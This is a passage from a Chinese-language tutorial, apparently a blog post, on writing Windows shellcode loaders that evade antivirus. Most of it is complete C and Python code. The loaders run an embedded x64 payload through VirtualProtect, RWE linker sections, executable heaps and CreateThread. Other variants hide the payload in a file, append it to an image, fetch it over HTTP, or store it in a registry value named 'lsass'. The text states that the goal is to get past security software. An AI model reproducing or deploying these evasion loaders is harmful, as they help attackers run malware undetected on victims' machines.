c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; DWORD oldProtect = 0 ; VirtualProtect (buf, sizeof (buf), PAGE_EXECUTE_READWRITE, &oldProtect); ((void (*)())&buf)(); return 0 ; }
修改data段属性
修改内存属性不但可以使用VirtualProtect
api函数, 还可以在程序编译的时候修改内存段的属性.
这样可以规避使用VirtualProtect
这个敏感api函数操作了.
默认全局变量是存放在data段, 修改成可执行即可
1 2 3 4 5 6 7 #include <windows.h> #pragma comment(linker, "/section:.data,RWE" ) unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ;int main () { ((void (*)())&buf)(); }
新增数据段 除了修改data段的内存属性, 还可以新增一个段, 设置为可执行的属性
1 2 3 4 5 6 7 8 9 10 11 12 13 #include <windows.h> #pragma data_seg("vdata" ) unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ;#pragma data_seg() #pragma comment(linker,"/SECTION:vdata,RWE" ) int main () { ((void (*)())&buf)(); }
通过堆加载
除了通过链接器修改数据段的内存属性外, 还可以通过HeapCreate
api获取一个具有执行权限的堆, 并在其中分配一块内存,将其地址赋给shellcode
, 也是一种规避VirtualAlloc
,VirtualProtect
api的一种实现方法, 通过指针运行.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #include <windows.h> int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; HANDLE HeapHandle = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE, sizeof (buf), 0 ); char * buffer = (char *)HeapAlloc (HeapHandle, HEAP_ZERO_MEMORY, sizeof (buf)); memcpy (buffer, buf, sizeof (buf)); ((void (*)())buffer)(); }
创建线程执行-CreateThread CreateThread
函数是Windows操作系统提供的一个函数,用于在当前进程中创建一个新的线程.
1 2 3 4 5 6 7 8 9 10 11 12 #include <windows.h> int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; HANDLE hHep = HeapCreate (HEAP_CREATE_ENABLE_EXECUTE | HEAP_ZERO_MEMORY, 0 , 0 ); PVOID Mptr = HeapAlloc (hHep, 0 , sizeof (buf)); RtlCopyMemory (Mptr, buf, sizeof (buf)); DWORD dwThreadId = 0 ; HANDLE hThread = CreateThread (NULL , NULL , (LPTHREAD_START_ROUTINE)Mptr, NULL , NULL , &dwThreadId); WaitForSingleObject (hThread, INFINITE); return 0 ; }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 #include <windows.h> int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; LPVOID Memory = VirtualAlloc (NULL , sizeof (buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (Memory == NULL ) { return 0 ; } memcpy (Memory, buf, sizeof (buf)); DWORD dwThreadId = 0 ; HANDLE hThread = CreateThread (NULL , NULL , (LPTHREAD_START_ROUTINE)Memory, NULL , NULL , &dwThreadId); WaitForSingleObject (hThread, INFINITE); CloseHandle (hThread); }
分离加载 本地分离 直接在加载器中通过读取文件 ( 二进制文件raw ) 内容的形式获取shellcode, 然后加载运行
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 #include <stdio.h> #include <stdlib.h> #include <windows.h> #define _CRT_SECURE_NO_WARNINGS int main () { char filename[] = "conx.ini" ; FILE* file; if (fopen_s(&file, filename, "rb" ) != 0 ) { perror("Failed to open the code file." ); return 1 ; } fseek(file, 0 , SEEK_END); long size = ftell(file); fseek(file, 0 , SEEK_SET); char * code = (char *)malloc (size); if (!code) { perror("Failed to allocate memory for code." ); fclose(file); return 1 ; } if (fread(code, 1 , size, file) != size) { perror("Failed to read code from the file." ); fclose(file); free (code); return 1 ; } fclose(file); LPVOID addr = VirtualAlloc(NULL , size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (addr == NULL ) { return 1 ; } memcpy (addr, code, size); HANDLE hThread = CreateThread(NULL , NULL , (LPTHREAD_START_ROUTINE)addr, NULL , NULL , 0 ); WaitForSingleObject(hThread, -1 ); CloseHandle(hThread); free (code); return 0 ; }
图片分离 制作步骤
选取一张图片, 然后读取图片的字节大小
在图片末尾插入shellcode
生成一张新的图片, 且记录shellcode的在文件中的起始位置
打开图片文件,从shellcode起始位置开始读取
正常加载执行
1 2 3 4 5 6 7 8 9 10 11 12 def main (shell_code, file_name="image.jpg" ): with open (file_name, mode="rb" ) as f: data = f.read() print ("shell_code 起始位置为:" , len (data)) with open ("new.png" , mode="wb" ) as f: f.write(data + shell_code) print ("shell_code 插入成功" ) if __name__ == '__main__' : data = b"\x90\x90\x90\x90\x90\x90\x90\x90\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" main(data)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 #include <stdio.h> #include <stdlib.h> #include <Windows.h> int main () { int startNum = 804306 ; char imageName[] = "new.png" ; FILE* file; fopen_s(&file, imageName, "rb" ); if (!file) { perror("Error opening file" ); return 1 ; } fseek(file, startNum, SEEK_SET); fseek(file, 0 , SEEK_END); long size = ftell(file); fseek(file, startNum, SEEK_SET); char * content = (char *)malloc (size); if (!content) { perror("Error allocating memory" ); fclose(file); return 1 ; } fread(content, 1 , size, file); fclose(file); LPVOID p = VirtualAlloc(NULL , size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (p == NULL ) { DWORD error = GetLastError(); fprintf (stderr , "Error allocating memory. GetLastError: %lu\n" , error); free (content); return 1 ; } memcpy (p, content, size); HANDLE h = CreateThread(NULL , 0 , (LPTHREAD_START_ROUTINE)p, NULL , 0 , NULL ); if (h == NULL ) { fprintf (stderr , "Error creating thread\n" ); free (content); return 1 ; } WaitForSingleObject(h, INFINITE); VirtualFree(p, 0 , MEM_RELEASE); free (content); return 0 ; }
Web分离 将有效载荷直接存储在二进制文件中.这是⼀种快速且常用的获取有效载荷的方法.不幸的是,在某些情况下,当存在有效载荷大小限制时,将有效载荷保存在代码中并不是⼀种可行的方法.另⼀种方法是将有效载荷托管在 Web 服务器上,并在执行期间获取它
1 python3 -m http.server 8080
获取有效负载 为了从 Web 服务器获取有效负载,将使用以下Windows API
:
InternetOpenW
- 打开互联网会话句柄,这是使用其他Internet Windows API
的先决条件
InternetOpenUrlW
-打开指定资源的句柄,该资源是有效载荷的 URL.
InternetReadFile
-从Web资源句柄读取数据.这是由InternetOpenUrlW
打开的句柄
InternetCloseHandle
-关闭句柄.
打开互联网会话 第⼀步是使用InternetOpenW
打开互联网会话句柄,这将初始化应用程序对WinINet
函数的使用.传递给WinAPI
的所有参数都是NULL.因为它们主要用于代理相关事宜.
值得注意的是,将第二个参数设置为NULL.相当于使用INTERNET_OPEN_TYPE_PRECONFIG
,它指定应使用系统
的当前配置来确定互联网连接的代理设置.
1 2 3 4 5 6 7 HINTERNET InternetOpenW ( [in] LPCWSTR lpszAgent, [in] DWORD dwAccessType, [in] LPCWSTR lpszProxy, [in] LPCWSTR lpszProxyBypass, [in] DWORD dwFlags ) ;
1 2 hInternet = InternetOpenW(NULL , NULL , NULL , NULL , NULL );
打开有效载荷的句柄 继续使用下⼀个WinAPI
,InternetOpenUrlW
其中正在建立与有效载荷的 URL 的连接.
1 2 3 4 5 6 7 8 9 HINTERNET InternetOpenUrlW ( [in] HINTERNET hInternet, [in] LPCWSTR lpszUrl, [in] LPCWSTR lpszHeaders, [in] DWORD dwHeadersLength, [in] DWORD dwFlags, G_IGNORE_CERT_DATE_INVALID [in] DWORD_PTR dwContext ) ;
hInternet
[in] :这是一个句柄,由先前调用 InternetOpenW
函数返回.它表示一个用于整个应用会话的 WinINet 启动句柄.你可以将其视为 WinINet 会话的标识符,用于管理后续的网络请求.
lpszUrl
[in] :这是一个指向宽字符字符串的指针,表示要打开的资源的 URL.URL 指定了你要访问的资源的地址,例如 “http://www.example.com “.
lpszHeaders
[in] :这是一个指向宽字符字符串的指针,表示要附加到请求中的头部信息.通常为 NULL
,表示不需要附加额外的 HTTP 头;如果需要可以传入自定义的 HTTP 头信息.
dwHeadersLength
[in] :指定 lpszHeaders
参数中头信息的长度.如果 lpszHeaders
为 NULL
,则该参数也应该为 0.否则,它指定了头信息的字节数.
dwFlags
[in] :指定请求行为的选项标志.常见的标志包括:
INTERNET_FLAG_HYPERLINK
: 表示目标是一个超链接.通常不需要手动设置,由浏览器自动设置.
INTERNET_FLAG_IGNORE_CERT_DATE_INVALID
: 忽略因证书的日期无效而导致的错误.
其他标志可能包括缓存控制标志,如 INTERNET_FLAG_RELOAD
(绕过缓存)等.
dwContext
[in] :这是一个应用程序定义的值,用于与异步操作关联.通常在同步操作中设置为 NULL
.如果使用异步操作,可以用它来标识或跟踪请求.
1 2 hInternetFile = InternetOpenUrlW(hInternet, L"http://127.0.0.1:8000/calc.bin" , NULL , NULL , INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, NULL );
读取数据 InternetReadFile
是下⼀个用来读取有效负载的WinAPI
.
1 2 3 4 5 6 7 BOOL InternetReadFile ( [in] HINTERNET hFile, [out] LPVOID lpBuffer, [in] DWORD dwNumberOfBytesToRead, [out] LPDWORD lpdwNumberOfBytesRead eives the number of bytes read ) ;
在调用该函数之前,必须分配⼀个缓冲区来保存有效载荷.因此,LocalAlloc
用于分配与有效载荷大小相同的缓冲区,即 272 字节.⼀旦分配了缓冲区,InternetReadFile
就可以用来读取有效载荷.该函数需要读取的字节数.
1 2 pBytes = (PBYTE)LocalAlloc(LPTR, 272 ); InternetReadFile(hInternetFile, pBytes, 272 , &dwBytesRead)
关闭 InterntHandle InternetCloseHandle
用于关闭互联网句柄.成功获取有效负载后应调用此函数.
1 2 3 BOOL InternetCloseHandle ( [in] HINTERNET hInternet ) ;
最终代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 #include <windows.h> #include <wininet.h> #include <stdio.h> #pragma comment(lib, "Wininet.lib" ) BOOL GetPayloadFromUrl (LPCWSTR szUrl, PBYTE* pPayloadBytes, SIZE_T* sPayloadSize) { BOOL bSTATE = TRUE; HINTERNET hInternet = NULL , hInternetFile = NULL ; DWORD dwBytesRead = 0 ; SIZE_T sSize = 0 ; PBYTE pBytes = NULL , pTmpBytes = NULL ; hInternet = InternetOpenW(NULL , INTERNET_OPEN_TYPE_DIRECT, NULL , NULL , 0 ); if (hInternet == NULL ) { printf ("[!] InternetOpenW Failed With Error: %d\n" , GetLastError()); bSTATE = FALSE; goto _EndOfFunction; } hInternetFile = InternetOpenUrlW(hInternet, szUrl, NULL , 0 , INTERNET_FLAG_HYPERLINK | INTERNET_FLAG_IGNORE_CERT_DATE_INVALID, 0 ); if (hInternetFile == NULL ) { printf ("[!] InternetOpenUrlW Failed With Error: %d\n" , GetLastError()); bSTATE = FALSE; goto _EndOfFunction; } pTmpBytes = (PBYTE)LocalAlloc(LPTR, 1024 ); if (pTmpBytes == NULL ) { bSTATE = FALSE; goto _EndOfFunction; } while (TRUE) { if (!InternetReadFile(hInternetFile, pTmpBytes, 1024 , &dwBytesRead)) { printf ("[!] InternetReadFile Failed With Error: %d\n" , GetLastError()); bSTATE = FALSE; goto _EndOfFunction; } sSize += dwBytesRead; if (pBytes == NULL ) { pBytes = (PBYTE)LocalAlloc(LPTR, sSize); } else { pBytes = (PBYTE)LocalReAlloc(pBytes, sSize, LMEM_MOVEABLE | LMEM_ZEROINIT); } if (pBytes == NULL ) { bSTATE = FALSE; goto _EndOfFunction; } memcpy ((PVOID)(pBytes + (sSize - dwBytesRead)), pTmpBytes, dwBytesRead); memset (pTmpBytes, '\0' , dwBytesRead); if (dwBytesRead < 1024 ) { break ; } } *pPayloadBytes = pBytes; *sPayloadSize = sSize; _EndOfFunction: if (hInternetFile) { InternetCloseHandle(hInternetFile); } if (hInternet) { InternetCloseHandle(hInternet); } if (pTmpBytes) { LocalFree(pTmpBytes); } return bSTATE; } int main () { LPCWSTR url = L"http://www.example.com/calc.bin" ; PBYTE pPayload = NULL ; SIZE_T payloadSize = 0 ; if (GetPayloadFromUrl(url, &pPayload, &payloadSize)) { LPVOID addr = VirtualAlloc(NULL , payloadSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if (addr == NULL ) { return 1 ; } memcpy (addr, pPayload, payloadSize); HANDLE hThread = CreateThread(NULL , NULL , (LPTHREAD_START_ROUTINE)addr, NULL , NULL , 0 ); WaitForSingleObject(hThread, INFINITE); CloseHandle(hThread); if (pPayload != NULL ) { LocalFree(pPayload); } } else { printf ("Failed to retrieve payload.\n" ); } return 0 ; }
写入注册表规避 我们可以将有效载荷写⼊注册表项值,然后在需要时从注册表中获取.此方法也会导致杀毒软件无法检测或找到其中的任何有效载荷.
条件编译 条件编译是一种将代码包含在项目内的方法,编译器可以编译或不编译该代码
写操作 1 2 3 4 5 6 7 8 9 10 11 #define WRITEMODE #ifdef WRITEMODE #endif #ifdef READMODE #endif
读操作 1 2 3 4 5 6 7 8 9 10 11 #define READMODE #ifdef READMODE #endif #ifdef WRITEMODE #endif
写入注册表
RegOpenKeyExA
打开注册表项并获得句柄.
HKEY hKey
: 要打开的注册表项的句柄
LPCSTR lpSubKey
: 要打开的子项的名称。
DWORD ulOptions
: 保留,通常为 0。
REGSAM samDesired
: 指定所需的访问权限。
PHKEY phkResult
: 指向接收打开的注册表项句柄的变量的指针。
RegSetValueExA
设置注册表项下指定值的数据和类型
HKEY hKey
:要设置的注册表项的句柄。
lpValueName
: 要设置值的名称,如果键中尚不存在具有此名称的值,则函数会将其添加到键中。
Reserved
: 此参数是保留的,必须为零.
dwType
: lpData
参数指向的数据类型
lpData
: 要存储的数据
cbData
: lpData
参数指向的信息的大小(以字节为单位),如果数据的类型为 REG_SZ,REG_EXPAND_SZ
或 REG_MULTI_SZ
, 则 cbData
必须包含终止 null 字符的大小。
RegCloseKey
用于关闭打开的注册表项句柄。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 #include <Windows.h> #include <stdio.h> #define REGISTRY "Control Panel" #define REGSTRING "lsass" BOOL WriteShellcodeToRegistry (IN PBYTE pShellcode, IN DWORD dwShellcodeSize) { BOOL bSTATE = TRUE; LSTATUS STATUS = NULL ; HKEY hKey = NULL ; printf ("[i] Writing 0x%p [ Size: %ld ] to \"%s\\%s\" ... " , pShellcode, dwShellcodeSize, REGISTRY, REGSTRING); STATUS = RegOpenKeyExA(HKEY_CURRENT_USER, REGISTRY, 0 , KEY_SET_VALUE, &hKey); if (ERROR_SUCCESS != STATUS) { printf ("[!] RegOpenKeyExA Failed With Error : %d\n" , STATUS); bSTATE = FALSE; goto _EndOfFunction; } STATUS = RegSetValueExA(hKey, REGSTRING, 0 , REG_BINARY, pShellcode, dwShellcodeSize); if (ERROR_SUCCESS != STATUS) { printf ("[!] RegSetValueExA Failed With Error : %d\n" , STATUS); bSTATE = FALSE; goto _EndOfFunction; } printf ("[+] DONE ! \n" ); _EndOfFunction: if (hKey) RegCloseKey(hKey); return bSTATE; } int main () { unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00" ; WriteShellcodeToRegistry(buf, sizeof (buf)); return 0 ; }
读取注册表 RegGetValueA
从注册表中检索值。
HKEY hKey
: 包含要检索值的注册表项的句柄。
LPCSTR lpSubKey
: 要打开的子项的名称。
LPCSTR lpValue
: 要检索的值的名称。
DWORD dwFlags
: 指定如何检索信息。可使⽤RRF_RT_ANY
,表示任何数据类型。或者RRF_RT_REG_BINARY
表示⼆进制数据类型。
LPDWORD pdwType
: 指向接收值类型的变量的指针。
PVOID pvData
: 指向接收数据的缓冲区的指针。
